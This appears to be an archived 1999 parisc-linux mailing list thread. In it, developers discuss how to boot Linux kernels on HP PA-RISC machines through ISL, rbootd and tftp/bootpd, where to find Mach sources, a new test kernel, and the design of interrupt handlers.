  by mailserv2.iuinc.com with SMTP; 2 Jul 1999 15:24:57 -0000
Original-Received: from hairball.cup.hp.com (hairball.cup.hp.com [15.14.120.25])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA12403;
	Fri, 2 Jul 1999 11:24:27 -0400 (EDT)
Original-Received: from ce270154.cup.hp.com (ce270154.cup.hp.com [15.75.143.227]) by hairball.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id IAA24524; Fri, 2 Jul 1999 08:24:49 -0700 (PDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Xref: news.gmane.org gmane.linux.ports.parisc:9672


And if you don't know your disk path, you can always try...

hpux /stand/vmlinux

I've found that often works on newer OS installs.

(btw, for those of you who run HPUX, that's also the way to boot off of the
backup kernel; you would specify /stand/vmunix.prev)

Rich

> 4. use hpux to load vmlinux
>    hpux disc(2/0/1.6.0;0)/stand/vmlinux
>              2/0/1.6.0                   is the hardware path to the boot
> disk
>                       ;0                 stands for section 0 which means
> whole disk or LVM
>                         /stand/vmlinux   is the kernel file to boot
>
> Ulrich
> ---------------------------------------------
> Ulrich Strelow
> <ulrich.strelow@schering.de or
> ulrich_strelow@yahoo.com>
> Berlin, Germany
>
>
>
>
>
>
>
> Davin Petersen <davinp@celltech.com> am 02.07.99 00:41:40
>
>
> An:   parisc-linux@thepuffingroup.com
> Kopie:     (Blindkopie: Ulrich Strelow/BE/USR/SHG)
>
>
> Thema:    [parisc-linux] Booting the kernel
>
>
>
>
>
> After downloading the goodies available from the FTP site I gather that
> rbootd is the way to spit the linux kernel to a HP box.  Am I wrong?  Is
> there no way of using the ISL?  I tried using the ISL (on my H60), got
> an error message and was dumped back to the ISL prompt.
>
> --------------------------------------------------------------------------
-
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com
with
> `unsubscribe' as the subject.
>
>
>
>
>
> --------------------------------------------------------------------------

From - Thu Nov 08 21:15:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Apostolopoulos <alex@assyst-intl.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting the kernel
Date: Fri, 2 Jul 99 20:27:13 MESZ
Lines: 46
Approved: news@gmane.org
Message-ID: <19990702183858.25389.qmail@mailserv2.iuinc.com>
References: <377CBE08.741968BC@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619682 12722 80.91.229.3 (22 Nov 2014 01:28:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: deller@gmx.de (Helge Deller)
Original-X-From: alex@assyst-intl.com  Fri Jul  2 12:38:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA26886
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Jul 1999 12:38:54 -0600
Original-Received: (qmail 25390 invoked by uid 15267); 2 Jul 1999 18:38:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25377 invoked from network); 2 Jul 1999 18:38:56 -0000
Original-Received: from unknown (HELO assyst1.assyst-intl.com) (212.29.7.165)
  by mailserv2.iuinc.com with SMTP; 2 Jul 1999 18:38:56 -0000
Original-Received: from hal2000.assyst-intl.com by assyst1.assyst-intl.com with SMTP
	(1.38.193.4/16.2) id AA15040; Fri, 2 Jul 1999 20:27:27 +0200
Original-Received: by hal2000
	(1.38.193.4/16.2) id AA03082; Fri, 2 Jul 1999 20:27:14 +0200
In-Reply-To: <377CBE08.741968BC@gmx.de>; from "Helge Deller" at Jul 02, 99 3:26 pm
Mailer: Elm [revision: 70.85]
Xref: news.gmane.org gmane.linux.ports.parisc:9673

Hi 
> 
> Matthew Wilcox schrieb:
> 
> > On Thu, Jul 01, 1999 at 03:41:40PM -0700, Davin Petersen wrote:
> > > After downloading the goodies available from the FTP site I gather that
> > > rbootd is the way to spit the linux kernel to a HP box.  Am I wrong?  Is
> > > there no way of using the ISL?  I tried using the ISL (on my H60), got
> > > an error message and was dumped back to the ISL prompt.
> >
> > rbootd is the way for older machines like my 715.  Later models like
> > the A180 tftp their kernel, I think you need bootparamd set up as well.
> 
> That's not 100% correct, since my 715/64 uses bootpd/tftpd too.
> David, you may start tftpd -d 0 (=zero) in etc/inetd.conf, so you can see
> warnings & transfers on the Log-Console.
> ---snip---

just for the record:
boot via rbootd
	715/33/50/75
	735/99/125

boot via bootptab
	715/64/80/100 ..
	712/60/80/100 

not at all
	B1000 (just a joke)

cheers alex
> #
> tftp    dgram   udp     wait    nobody  /usr/sbin/tcpd  in.tftpd /tftpboot
> bootps dgram udp wait root /usr/sbin/bootpd bootpd -d 0 -c /tftpboot
> #
> ---snip---
> 
> Helge Deller.
> 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:15:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jon Peatfield <J.S.Peatfield@damtp.cam.ac.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting the kernel
Date: Sat, 3 Jul 1999 03:24:37 +0100
Lines: 5
Approved: news@gmane.org
Message-ID: <9907030224.AA15914%declaim.amtp.cam.ac.uk@damtp.cambridge.ac.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619682 12746 80.91.229.3 (22 Nov 2014 01:28:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: alex@assyst-intl.com, deller@gmx.de
Original-X-From: j.s.peatfield@damtp.cam.ac.uk  Fri Jul  2 20:24:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA28928
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Jul 1999 20:24:28 -0600
Original-Received: (qmail 23906 invoked by uid 15267); 3 Jul 1999 02:24:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23899 invoked from network); 3 Jul 1999 02:24:47 -0000
Original-Received: from kanga.amtp.cam.ac.uk (exim@131.111.16.130)
  by mailserv2.iuinc.com with SMTP; 3 Jul 1999 02:24:47 -0000
Original-Received: from declaim.amtp.cam.ac.uk [131.111.17.14] (jp107)
	by kanga.amtp.cam.ac.uk with smtp (Exim 1.73 #1)
	id 110FTq-0004ry-00; Sat, 3 Jul 1999 03:24:38 +0100
Original-Received: by declaim.amtp.cam.ac.uk (5.65v3.2/DAMTP 2.3-Client (declaim.amtp.cam.ac.uk MX-hub grey.amtp.cam.ac.uk))
	id AA15914; Sat, 3 Jul 1999 03:24:37 +0100
Xref: news.gmane.org gmane.linux.ports.parisc:9674

This reminds me, does anyone have a working rbootd which runs on anything
other than HP-UX?  If we turn all our HPs into Linux boxes it would be nice to
still be able to boot them.  Of course looking at the rboot packets on the wire
shows that they are not anything I recognise...


From - Thu Nov 08 21:15:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting the kernel
Date: Fri, 2 Jul 1999 22:40:00 -0600 (MDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <199907030440.WAA28078@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619682 12749 80.91.229.3 (22 Nov 2014 01:28:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: J.S.Peatfield@damtp.cam.ac.uk, alex@assyst-intl.com, deller@gmx.de
Original-X-From: mike@fast.cs.utah.edu  Fri Jul  2 22:48:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA29171
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Jul 1999 22:48:46 -0600
Original-Received: (qmail 3825 invoked by uid 15267); 3 Jul 1999 04:49:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3818 invoked from network); 3 Jul 1999 04:49:06 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 3 Jul 1999 04:49:06 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id WAA28078;
	Fri, 2 Jul 1999 22:40:00 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9675

> Date: Sat, 3 Jul 1999 03:24:37 +0100
> From: Jon Peatfield <J.S.Peatfield@damtp.cam.ac.uk>
> To: alex@assyst-intl.com, deller@gmx.de
> Subject: Re: [parisc-linux] Booting the kernel
> 
> This reminds me, does anyone have a working rbootd which runs on anything
> other than HP-UX?  If we turn all our HPs into Linux boxes it would be nice to
> still be able to boot them.  Of course looking at the rboot packets on the wire
> shows that they are not anything I recognise...
> 

There is an rboot daemon that comes with all the BSDs and I believe the
same daemon will work on Linux as well.  There were some endian problems
once, but I think they were all solved so it should work on x86 boxes.
It requires BPF.


From - Thu Nov 08 21:15:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jason@equator.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New email address
Date: Sat, 3 Jul 1999 00:06:27 -0500 (Central Daylight Time)
Lines: 7
Approved: news@gmane.org
Message-ID: <Pine.WNT.4.10.9907030002290.173-100000@monterrey>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619683 12751 80.91.229.3 (22 Nov 2014 01:28:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:03 +0000 (UTC)
Cc: jason@equator.com
To: parisc-linux@thepuffingroup.com
Original-X-From: jason@equator.com  Fri Jul  2 23:03:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA29360
	for <parisc-linux@puffin.external.hp.com>; Fri, 2 Jul 1999 23:03:56 -0600
Original-Received: (qmail 5332 invoked by uid 15267); 3 Jul 1999 05:04:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5322 invoked from network); 3 Jul 1999 05:04:15 -0000
Original-Received: from ares.flash.net (209.30.0.41)
  by mailserv2.iuinc.com with SMTP; 3 Jul 1999 05:04:15 -0000
Original-Received: from 209-30-254-54.flash.net (209-30-254-54.flash.net [209.30.254.54])
	by ares.flash.net (8.9.3/8.9.3) with ESMTP id AAA16427;
	Sat, 3 Jul 1999 00:04:12 -0500 (CDT)
X-X-Sender: jason@gatekeeper.equator.com
Xref: news.gmane.org gmane.linux.ports.parisc:9676


My email address will be changing from jason@equator.com to
jle@cygnus.com. Could the parisc list admin update my information please?

Best regards, jason.



From - Thu Nov 08 21:15:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting the kernel
Date: Sat, 03 Jul 1999 02:24:57 -0400
Organization: The Puffin Group
Lines: 29
Approved: news@gmane.org
Message-ID: <377DACB9.64FE3EF2@thepuffingroup.com>
References: <199907030440.WAA28078@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619683 12759 80.91.229.3 (22 Nov 2014 01:28:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:03 +0000 (UTC)
Cc: J.S.Peatfield@damtp.cam.ac.uk, alex@assyst-intl.com, deller@gmx.de,
        parisc-linux@thepuffingroup.com
To: Mike Hibler <mike@fast.cs.utah.edu>
Original-X-From: adevries@thepuffingroup.com  Sat Jul  3 00:18:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA29633
	for <parisc-linux@puffin.external.hp.com>; Sat, 3 Jul 1999 00:18:54 -0600
Original-Received: (qmail 13018 invoked by uid 15267); 3 Jul 1999 06:19:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13011 invoked from network); 3 Jul 1999 06:19:11 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 3 Jul 1999 06:19:11 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id CAA09975;
	Sat, 3 Jul 1999 02:25:01 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9677

Mike Hibler wrote:
> 
> > Date: Sat, 3 Jul 1999 03:24:37 +0100
> > From: Jon Peatfield <J.S.Peatfield@damtp.cam.ac.uk>
> > To: alex@assyst-intl.com, deller@gmx.de
> > Subject: Re: [parisc-linux] Booting the kernel
> >
> > This reminds me, does anyone have a working rbootd which runs on anything
> > other than HP-UX?  If we turn all our HPs into Linux boxes it would be nice to
> > still be able to boot them.  Of course looking at the rboot packets on the wire
> > shows that they are not anything I recognise...
> >
> 
> There is an rboot daemon that comes with all the BSDs and I believe the
> same daemon will work on Linux as well.  There were some endian problems
> once, but I think they were all solved so it should work on x86 boxes.
> It requires BPF.


I fixed up rbootd to run on Linux awhile ago... you should be able to
find it on ftp://puffin.external.hp.com.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mach sources?
Date: Mon, 5 Jul 1999 13:40:02 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <19990705134002.J386@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619684 12760 80.91.229.3 (22 Nov 2014 01:28:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Mon Jul  5 05:39:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA05834
	for <parisc-linux@puffin.external.hp.com>; Mon, 5 Jul 1999 05:39:49 -0600
Original-Received: (qmail 25251 invoked by uid 15267); 5 Jul 1999 11:40:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25244 invoked from network); 5 Jul 1999 11:40:14 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 5 Jul 1999 11:40:14 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id NAA23584
	for <parisc-linux@thepuffingroup.com>; Mon, 5 Jul 1999 13:40:09 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id NAA3365303
	for <parisc-linux@thepuffingroup.com>; Mon, 5 Jul 1999 13:40:08 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11176Q-000263C@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Mon, 5 Jul 1999 13:40:02 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9678


It's quite a pain to actually find the sources from the reference on
the puffin group website.  There's a morass of broken links and the
OSF no longer seem to distribute the source.  So for everyone's
convenience, the URL for the latest set of Mach/PARISC sources is:

ftp://flux.cs.utah.edu/flux/mach/ALPHA/

Jeff, does 9th Jan 1996 sound like the most recent version to you?

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mach sources?
Date: Mon, 05 Jul 1999 14:31:48 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <3780A5B4.97B09131@ruhr-uni-bochum.de>
References: <19990705134002.J386@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619684 12765 80.91.229.3 (22 Nov 2014 01:28:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Mon Jul  5 06:31:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA06057
	for <parisc-linux@puffin.external.hp.com>; Mon, 5 Jul 1999 06:31:41 -0600
Original-Received: (qmail 29174 invoked by uid 15267); 5 Jul 1999 12:32:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29162 invoked from network); 5 Jul 1999 12:32:06 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 5 Jul 1999 12:32:06 -0000
Original-Received: (qmail 18999 invoked from network); 5 Jul 1999 12:31:47 -0000
Original-Received: from dialppp-7-76.rz.ruhr-uni-bochum.de (HELO ruhr-uni-bochum.de) (134.147.7.76)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 5 Jul 1999 12:31:47 -0000
X-Mailer: Mozilla 4.51 [de]C-CCK-MCD QXW03200  (Win95; I)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:9679

Matthew Wilcox schrieb:

> It's quite a pain to actually find the sources from the reference on
> the puffin group website.  There's a morass of broken links and the
> OSF no longer seem to distribute the source.  So for everyone's
> convenience, the URL for the latest set of Mach/PARISC sources is:
>
> ftp://flux.cs.utah.edu/flux/mach/ALPHA/
>
> Jeff, does 9th Jan 1996 sound like the most recent version to you?

Hi Jeff !!
Thanks for the URL !

I don't know theese sources, but the URL
 ftp://ftp.duth.gr/pub1/mklinux_PA-RISC/
has a MkLinux-Port (OSF) for PA-RISC.
Maybe theese are the same sources, but since the names & dates are different the
sources on duth.gr seems to be newer !
But I think a look at both should be fine !

Helge.


From - Thu Nov 08 21:15:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Another test kernel...
Date: Mon, 05 Jul 1999 12:09:42 -0400
Organization: The Puffin Group
Lines: 19
Approved: news@gmane.org
Message-ID: <3780D8C6.2028B53C@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619684 12766 80.91.229.3 (22 Nov 2014 01:28:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Mon Jul  5 09:59:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA06337
	for <parisc-linux@puffin.external.hp.com>; Mon, 5 Jul 1999 09:59:00 -0600
Original-Received: (qmail 16416 invoked by uid 15267); 5 Jul 1999 15:59:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16409 invoked from network); 5 Jul 1999 15:59:25 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 5 Jul 1999 15:59:25 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id MAA15930
	for <parisc-linux@thepuffingroup.com>; Mon, 5 Jul 1999 12:09:43 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9680


I've just built and uploaded a new PA RISC kernel, which you can find
at:

ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/Image-19990705

This has a lot of new stuff in it, including functioning interrupts.

I would appreciate it if people could give it a try, particularly on
somewhat more obscure machines.  Mailing me (not the list!) bootup
messages would be appreciated, I'll summarize.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:  [parisc-linux] Mach sources?
Date: Mon, 5 Jul 1999 22:09:09 -0600 (MDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <199907060409.WAA22770@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619684 12770 80.91.229.3 (22 Nov 2014 01:28:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:04 +0000 (UTC)
To: Matthew.Wilcox@genedata.com, parisc-linux@thepuffingroup.com
Original-X-From: mike@fast.cs.utah.edu  Mon Jul  5 22:09:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA07040
	for <parisc-linux@puffin.external.hp.com>; Mon, 5 Jul 1999 22:09:04 -0600
Original-Received: (qmail 27015 invoked by uid 15267); 6 Jul 1999 04:09:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27008 invoked from network); 6 Jul 1999 04:09:31 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 6 Jul 1999 04:09:31 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id WAA22770;
	Mon, 5 Jul 1999 22:09:09 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9681

> Date: Mon, 5 Jul 1999 13:40:02 +0200
> From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
> To: parisc-linux@thepuffingroup.com
> Subject: [parisc-linux] Mach sources?
> 
> It's quite a pain to actually find the sources from the reference on
> the puffin group website.  There's a morass of broken links and the
> OSF no longer seem to distribute the source.  So for everyone's
> convenience, the URL for the latest set of Mach/PARISC sources is:
> 
> ftp://flux.cs.utah.edu/flux/mach/ALPHA/
> 
> Jeff, does 9th Jan 1996 sound like the most recent version to you?
> 

I'll give you the authoritative answer...
 
For the Utah code (Mach3 + 4.4BSD server), that was the last release,
in particular:

	ftp://flux.cs.utah.edu/flux/mach/ALPHA/pa-snapshot2.tar.gz

For the OSF code (OSF Mach + Linux server), I believe someone else posted
a URL for a copy of that.

The OSF code supported a few more machines (e.g., J series) and devices
(e.g., EISA stuff) than we did, though we might have had a few bug fixes
they didn't.  Of most interest in the Utah code is the HP-UX compatibility
code (mostly in the Lites server/emulator) which was good enough to run the
X11 server and Netscape.


From - Thu Nov 08 21:15:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Interrupt[ion]s
Date: Tue, 6 Jul 1999 23:03:40 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <19990706230340.B29058@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619685 12774 80.91.229.3 (22 Nov 2014 01:28:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:05 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@suse.de  Tue Jul  6 15:03:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA08011
	for <parisc-linux@puffin.external.hp.com>; Tue, 6 Jul 1999 15:03:27 -0600
Original-Received: (qmail 21474 invoked by uid 15267); 6 Jul 1999 21:03:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21467 invoked from network); 6 Jul 1999 21:03:47 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 6 Jul 1999 21:03:47 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP id 834A232CE1
	for <parisc-linux@thepuffingroup.com>; Tue, 06 Jul 1999 23:03:41 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP id 5CFA19412
	for <parisc-linux@thepuffingroup.com>; Tue,  6 Jul 1999 23:03:41 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 0BADD7F8B; Tue,  6 Jul 1999 23:03:41 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
Xref: news.gmane.org gmane.linux.ports.parisc:9682

The basic code to take interruptions and return from them now is there. (I'd
like to hear if it works on machines other than the A180 though). The next
step is to make sure we don't clobber all registers in this process, which
I think should not be a big problem.

I think we should have the following types of interruption handlers:

a) save all registers into the current task_struct, call interruption handler
   (this would be used for interruptions that might change the running task)

b) save caller-saved registers to stack, call interruption handler
   (this would be the faster, normal kind of interruption)

c) hand-written handlers that use the shadow registers

d) a hand-written handler for external interrupts, which I think I'll write
   soon (this handler will either do a)-style or b)-style register saving
   depending on the interrupt handler.

e) the firmware-supplied HPMC handler

Any comments ?

	Philipp Rumpf


From - Thu Nov 08 21:15:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Whee! Dino is recognized.
Date: Wed, 07 Jul 1999 02:23:40 -0400
Organization: The Puffin Group
Lines: 35
Approved: news@gmane.org
Message-ID: <3782F26C.78876DDD@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619685 12778 80.91.229.3 (22 Nov 2014 01:28:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:05 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
